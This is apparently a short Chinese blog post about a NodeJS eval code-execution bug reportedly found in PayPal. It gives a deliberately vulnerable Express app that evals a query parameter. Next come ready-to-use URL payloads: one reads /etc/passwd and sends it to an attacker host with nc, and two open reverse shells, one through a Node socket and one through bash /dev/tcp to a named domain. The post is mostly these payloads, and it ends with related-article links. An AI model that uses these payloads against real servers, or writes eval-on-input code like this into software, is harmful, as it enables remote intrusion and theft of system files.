背景
@Artsploit在挖PayPal的漏洞时,发现一处NodeJS代码执行,奖励$10000美金。
测试
var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello eval(req.query.q)); console.log(req.query.q); }); app.listen(8080, function () { console.log('Example listening on port 8080!'); });
任意文件读取
http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')
GET SHELL
http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
GET SHELL2
http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')
您可能感兴趣的文章:
- nodejs连接mongodb数据库实现增删改查
- Nodejs 搭建简单的Web服务器详解及实例
- window通过vbs+bat实现自动在后台运行nodejs application
- NodeJS和BootStrap分页效果的实现代码
- nodejs简单实现操作arduino
- NodeJs读取JSON文件格式化时的注意事项
- nodejs微信公众号支付开发
- Nodejs抓取html页面内容(推荐)
- nodejs如何获取时间戳与时间差
- Nodejs全局安装和本地安装的不同之处
- nodejs实例解析(输出hello world)